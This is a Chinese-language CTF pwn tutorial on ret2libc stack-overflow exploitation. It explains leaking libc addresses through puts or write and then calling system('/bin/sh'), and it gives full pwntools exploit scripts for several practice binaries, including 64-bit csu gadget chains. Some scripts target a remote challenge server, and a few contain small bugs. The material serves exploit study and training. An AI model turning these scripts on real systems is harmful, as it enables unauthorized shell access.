利用原理

ret2libc 这种攻击方式主要是针对 动态链接(Dynamic linking) 编译的程序,因为正常情况下是无法在程序中找到像 system()execve() 这种系统级函数.

当程序开始运行时会加载系统库中的函数,通过函数返回地址直接指向系统库(libc.so.6)中的函数,如system函数,从而执行例如system函数获得shell。

主要目的

劫持binary执行system(/bin/sh)

解题思路

一般有一个溢出点时,要进行两次劫持。

第一次劫持

是为了泄露出某个函数的地址(需要构造两条件)

  • 控制程序eip指向,为第二次劫持做准备
  • 寻找output函数(如putswrite)和待泄露函数
    • 只能泄露使用了的函数:因为动态链接库的加载机制是lazy原则(got表)
    • libc.so 动态链接库中的函数之间相对偏移固定。
    • 每个函数的地址最低的12位并不会发生改变。(即后三位。即便开启PIE)

第二次劫持

是为了控制binary返回到libc执行system(bin/sh)

解题步骤

前骤

使用ldd确认该程序所使用的本地libc库

  • 一般在打本地的程序时,都使用这个库
  • 远程时,先确定泄露出的某函数的真实地址,在利用后三位在libc_database中确定所使用的库并下载到本地

第一次溢出

泄露函数真实地址得到基地址

  • 要使用output函数,如puts和write函数(该函数的特征必须为可以输出地址数据的函数)

    • puts构造payload(泄露puts函数的地址)
      1
      2
      3
      4
      5
      puts_plt_addr =elf.plt['puts']
      puts_got_addr  =elf.got['puts']
      main_addr =elf.sym['_start']
      payload = "a"*54
      payload += p32(puts_plt_addr)+p32(main_addr)+p32(puts_got_addr)
    • write构造payload(泄露write函数的地址)
      1
      2
      3
      4
      5
      write_plt_addr =elf.plt['write']
      write_got_addr =elf.got['write']
      main_addr =elf.sym['main']
      payload = "a"*60
      payload += p32(write_plt_addr)+p32(main_addr)+p32(1) +p32(write_got_addr)+p32(4)
      • 因为write函数有三个参数,所以这里都要加上。

    大概意思即为,使用puts或者write函数的plt地址来连接puts函数的got表地址,最后返回到main函数的地址

    “a”*76 p32(system_addr) p32(0xdeadbeef) p32(binsh_addr)
    溢出字符 要使用的函数的地址 该payload的返回地址(一般都设置位main的地址) /bin/sh的地址(要使用的函数的参数)
  • 最后发送该payload完成第一次溢出

    1
    2
    3
    sh.sendlineafter('pwned me!\n',payload)
    libc_write_addr = l ibc.sym['write']
    base_addr = u32(sh.recv(4))-libc_write_addr

    另外还需要注意几点:

    • 如果出现recv的报错,可能是payload发送顺序的问题

第二次溢出

利用基地址得到system和binsh的地址以拿到shell

  • 利用上一步得到的基地址算出system和binsh的真实地址
    1
    2
    system_addr = base_addr+libc.sym['system']
    binsh_addr = base_addr+libc.search('/bin/sh').next()
  • 利用这两个地址构造二次溢出的payload
    1
    2
    3
    4
    max_payload = "a"*52
    max_payload += p32(system_addr)
    max_payload += p32(0x00000000)
    max_payload += p32(binsh_addr)
  • 最后发送payload即可完成溢出
    1
    2
    sh.sendlineafter("pwned me!\n",max_payload)
    sh.interactive()

例题

NX

点击下载-提取码: 2qtw

思路

按照上面思路即可

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#-*- coding:utf-8
from pwn import *
sh = process("./nx")
context.log_level = 'debug'
context.terminal = ['tmux','splitw','h']
elf = ELF("./nx")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
puts_plt = elf.plt["puts"]
main_addr = elf.symbols['main']
puts_got = elf.got['puts'
payload = "a"*76
payload += p32(puts_plt)
payload += p32(main_addr)
payload += p32(puts_got)
print hex(puts_plt)
#gdb.attach(sh)
sh.sendlineafter("shellcode:\n",payload)
puts_real_addr = u32(sh.recv(4))
base_addr = puts_real_addr-libc.sym["puts"]
print "puts_got"
print hex(puts_real_addr)
print "libc_puts"
print hex(libc.sym['puts'])
print "base"
print hex(base_addr)
system_addr = base_addr+libc.sym['system']
binsh_addr = base_addr + libc.search("/bin/sh").next()
payload2 = 76*'a'
payload2 += p32(system_addr)
payload2 += p32(main_addr)
payload2 += p32(binsh_addr)
sh.sendlineafter("shellcode:\n",payload2)
sh.interactive()

Ez_ret2libc[利用puts泄露地址]

点击下载-提取码: eicw

EXP[0.0]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#-*-coding:utf-8
from pwn import *
sh = process("./ez_ret2libc")
# sh = remote('120.79.17.251',10007)
elf = ELF("./ez_ret2libc")
#libc = ELF('/home/da1sy/Documents/tools/libc-database/db/libc6-i386_2.23-0ubuntu10_amd64.so')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
context.log_level='debug'
#context.terminal=['tmux','splitw','-h']
puts_got_addr  =elf.got['puts']
puts_plt_addr =elf.plt['puts']
main_addr =elf.sym['_start']
payload = "a"*54
payload += p32(puts_plt_addr)
payload += p32(main_addr)
payload += p32(puts_got_addr)
sh.sendlineafter('choose:',"2")
sleep(1)
sh.sendlineafter('message:',payload)
puts = u32(sh.recv(4))
###到这里时,put是字符串,需要先转换
puts_addr = int(puts)
print type(puts_addr)
libc_puts_addr = int(libc.sym['puts'])
base_addr = puts_addr-libc_puts_addr
system_addr = base_addr+int(libc.sym['system'])
binsh_addr = base_addr+int(libc.search('/bin/sh').next())
max_payload = "a"*54
print "base"
print base_addr
print "system"
print system_addr
print "binsh"
print binsh_addr
max_payload += p32(system_addr)
max_payload += p32(main_addr)
max_payload += p32(binsh_addr)
sleep(1)
sh.sendlineafter("choose:","2")
sh.sendlineafter("message:",max_payload)
sh.interactive()

Ret2libc_32[利用write泄露地址]

思路…

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#-*-coding:utf-8
from pwn import *
#sh = process("./ret2libc_32")
sh = remote('120.79.17.251',10008)
elf = ELF("./ret2libc_32")
libc = ELF('/home/da1sy/Documents/tools/libc-database/db/libc6-i386_2.23-0ubuntu10_amd64.so')
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#context.log_level='debug'
#context.terminal=['tmux','splitw','-h']
write_got_addr =elf.got['write']
write_plt_addr =elf.plt['write']
main_addr =elf.sym['main']
print "----------------"
print hex(main_addr)
print hex(write_got_addr)
print hex(write_plt_addr)
payload = "a"*60
payload += p32(write_plt_addr)
payload += p32(main_addr)
payload += p32(1)
payload += p32(write_got_addr)
payload += p32(4)
sh.sendlineafter('pwned me!\n',payload)
#print hex(u32(sh.recv(4)))
libc_write_addr = libc.sym['write']
base_addr = u32(sh.recv(4))-libc_write_addr
system_addr = base_addr+libc.sym['system']
binsh_addr = base_addr+libc.search('/bin/sh').next()
max_payload = "a"*52
print "base"
print hex(base_addr)
print "system"
print hex(system_addr)
print "binsh"
print hex(binsh_addr)
max_payload += p32(system_addr)
max_payload += p32(0x00000000)
max_payload += p32(binsh_addr)
#gdb.attach(sh)
sh.sendlineafter("pwned me!\n",max_payload)
sh.interactive()

Ret2libc_64[csu及gets写bss段]

点击下载-提取码: vivt

思路

  1. 使用ROPgadget搜索该程序gadgets片段
    • 只能找到 pop_rdi_ret
  2. 确定该程序所使用的csu_gadgets
  3. 使用csu_gadgets泄露write函数地址
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    def csu(r12,r13,r14,r15,ret_addr):
        payload = offset
        payload += p64(gadgets1)
        payload += "b"*8
        payload += p64(0)
        payload += p64(1)
        payload += p64(r12)
        payload += p64(r15)
        payload += p64(r14)
        payload += p64(r13)
        payload += p64(gadgets2) 
        payload += "c"*56
        payload += p64(ret_addr)
        sh.sendline(payload)
    sh.recvuntil("Pwn Me?\n")
    csu(write_got,1,write_got,8,main_addr)
    write_addr = u64(sh.recv(8))
    print "write:",hex(write_addr)
    offset_addr = write_addr - libc.symbols['write']
    success("offset_addr = 0x%x",offset_addr)
    system_addr = offset_addr + libc.symbols['system']
  4. 确定system函数的真实地址后,这时只需要计算出libc中的binsh地址,便可以构造rop链的方式直接进行调用
    1
    2
    3
    4
    payload = offset
    payload+= p64(0x00000000004006c3)# pop_rdi_ret
    payload+= p64(offset_addr+libc.search('/bin/sh').next())
    payload+= p64(system_addr)

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#coding:utf-8
from pwn import *
sh = process('./ret2libc_64')
sh = remote('120.79.17.251',10010)
elf = ELF('./ret2libc_64')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('../../tools/libc-database/db/libc6_2.23-0ubuntu10_amd64.so')
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
gadgets1 = 0x00000000004006B6
gadgets2 = 0x00000000004006A0
write_got = elf.got['write']
main_addr = elf.symbols['main']
offset = 'a'*168
def csu(r12,r13,r14,r15,ret_addr):
    payload = offset
    payload += p64(gadgets1)
    payload += "b"*8
    payload += p64(0)
    payload += p64(1)
    payload += p64(r12)
    payload += p64(r15)
    payload += p64(r14)
    payload += p64(r13)
    payload += p64(gadgets2) 
    payload += "c"*56
    payload += p64(ret_addr)
    sh.sendline(payload)
sh.recvuntil("Pwn Me?\n")
csu(write_got,1,write_got,8,main_addr)
write_addr = u64(sh.recv(8))
print "write:",hex(write_addr)
offset_addr = write_addr - libc.symbols['write']
success("offset_addr = 0x%x",offset_addr)
system_addr = offset_addr + libc.symbols['system']
print "execve:",hex(execve_addr)
#gdb.attach(sh)
sh.recvuntil("Pwn Me?\n")
payload = offset
payload+= p64(0x00000000004006c3)# pop_rdi_ret
payload+= p64(offset_addr+libc.search('/bin/sh').next())
payload+= p64(system_addr)
sh.sendline(payload)
sh.interactive()